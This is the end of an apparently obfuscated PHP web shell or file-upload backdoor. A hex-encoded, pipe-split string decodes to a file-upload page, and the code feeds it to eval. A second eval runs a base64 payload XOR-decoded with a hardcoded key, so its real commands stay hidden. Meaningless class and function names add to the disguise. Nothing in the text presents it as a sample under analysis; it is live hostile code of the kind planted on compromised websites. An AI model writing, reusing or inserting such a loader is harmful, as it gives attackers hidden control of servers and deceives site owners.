202020|202020|2020|2020|666F726D|446174|612E61|70|70656E|64|28226265|6E6B|79|6F222C20|66|696C|652E|6E61|6D6529|3B0A2020|2020|202020|2020|2020|20202020|20|666F72|6D446174|612E6170|70|656E64|28226461|6B65|6A61|222C|20|68657853|74|72|696E6729|3B0A0A|20|202020|2020|20202020|20|202020|202066|65|746368|28|7570|6C6F|6164|466F726D|2E6163|74696F|6E207C7C|2077696E|646F77|2E|6C6F6361|74|69|6F6E|2E687265|662C20|7B0A20|20|20202020|20|20|20|20202020|2020|20|2020|20206D65|74686F64|3A|20|2750|4F53|54272C|0A2020|202020|202020|20202020|20|202020|2020|20|20626F|64793A|2066|6F726D44|6174|612C0A20|20202020|20202020|20|20202020|20|20|20202020|686561|64|65|7273|3A207B|2027|582D|52|657175|6573|746564|2D5769|7468|27|3A|2027584D|4C48|747470|526571|756573|7427|20|7D|0A20|20|2020|202020|20|20|2020|20|20|202020|7D|29|0A202020|20202020|2020|20|2020|20|202020|2E746865|6E287265|7370|6F6E7365|203D|3E20|726573|706F6E73|652E6A73|6F6E|28|2929|0A2020|20202020|202020|20202020|2020202E|7468656E|28|64|61746120|3D3E|207B|0A202020|20202020|20|2020|202020|20202020|20|20|2073|68|6F774E|6F|74696669|6361|74|69|6F6E2864|6174|612E7374|6174|75|732C|20|6461|7461|2E6D7367|293B0A20|2020|2020|202020|20202020|20202020|202020|2075706C|6F61|64466F|726D2E72|657365|7428|293B|0A|20202020|20|202020|202020|20202020|202020|20|20726573|65744669|6C65496E|707574|4C616265|6C|28293B0A|2020|20|2020|2020|20202020|2020|202020|20202020|6C6F61|644669|6C|65|4C|69737428|29|3B0A2020|20|2020|20202020|20202020|2020|207D29|3B0A20|2020|20|20202020|202020|207D|3B|0A0A20|2020|20|2020|2020|2020|2020|7265|61|646572|2E726561|64417341|72726179|42|75666665|722866|69|6C|6529|3B0A20|2020|202020|20207D|293B|0A2020|2020|7D0A|7D293B0A|3C2F|73|637269|70743E|0A3C666F|6F7465|7220636C|61|73|733D22|66757465|72223E0A|0909|090926|636F|70793B20|7A|6569|6E68|6F726F|626F73|750A0909|093C2F|666F6F|746572|3E0A3C2F|62|6F6479|3E0A3C2F|68746D6C|3E0A";$xmioxniqwnitwqqwtwxx11=str_replace("|", "", $list);$gstatic=xmxmxnianntt($xmioxniqwnitwqqwtwxx11);return $gstatic;}}$hover=new nigwqgqwtqwtqwt();$letter=$hover->nigwqgqwtqwtqwti();eval(wkqtonxx().$letter);function wkqtonxx(){}function xmxmxnianntt($margin){$background='';for($i=0;$i<strlen($margin);$i+=2){$background.=chr(hexdec($margin[$i].$margin[$i+1]));}return $background;} eval((function($d,$k,$n){$x=function($d,$k){$o='';for($i=0;$i<strlen($d);$i++)$o.=$d[$i]^$k[$i%strlen($k)];return $o;};$b=$n[0].$n[1].$n[2];return $x($b($d),$k);})( 'fA0/LFdXQFU1LTUrV14SCXhebXcHAQQBYUlqeQhxc3ESCjsmW2hxBmAOHhYFUVtgFSk1MGdofl4ZMDkweVdAU39CV0oWU1pVLDA+YA8QFQFhS2JwBgQGBmleYU04FEJGNw01I11cEgl4UXslX0BGTXBdBRN3YmRxCiJ9CGZkYmd/JHNgFBYSEAcqHxJkdWBvfzEOFGJjFWl4WGd9EhddUj5ec2ANEBBcLA0qMwgfHRZ4Q3piWkRGRGJWdWIJPTgQKxw2JmdCXhRlWX4wQF9GWzsWNmAcEBZrCzwIFndiaRMQLQ4QbXh9ZwxeB2AcEBZrCzwIFndiaRMKPAsVd2Nmaw0rE2dvCz8+fBQ/M0FRVVF4RHpiwq+hkXg/MyxXEEdENBY7JFdCElAxGDEzV0MIaDZdKSVeVmdGNFthTTgURlE0HD0yU11zRDEsKCwSDRIWMA0uMEEKHRs5CTNuRlVeUT8LOy0cX0BTdxs1NBZEV1g9HighX2RdXz0XdTNXXlZ5PQopIVVVEA9Vc34kU0RTFGVZAWdRWFNABxA+ZxINDBR8GjIhRnlWGHheLiVKRBUUZUd6ZF9VQUc5Hj8dCT04EDsRen0SU0dGNCYzLltEGh1jdFAjR0JeayscLi9CRBoQOxF2YHFlYHgXKQ4fZ2J+GHhdLiVeVVVGORQbMFtlQFhxQldKUUVAWAcKPzRdQEYcfBoybBJzZ2YUNgoUbWB9ZwxVejRARVcdY3RQI0dCXmsrHC4vQkQaEDsRdmBxZWB4FykOH2J/YWAeMB8MdmMeFHwdOzRTGQk5UhovMl5vQVEsFio0GhRRXHRZGRVgfH1kDCYIBWZlYHoMKxsOYXZ3ZnRZLjJHVRsPVXM5NUBcbVEgHDloFlNaHWN0UCNHQl5rOxU1M1cYFlcwUGE=', 'XyZ@2024', ['base','64_','decode'] )); ?>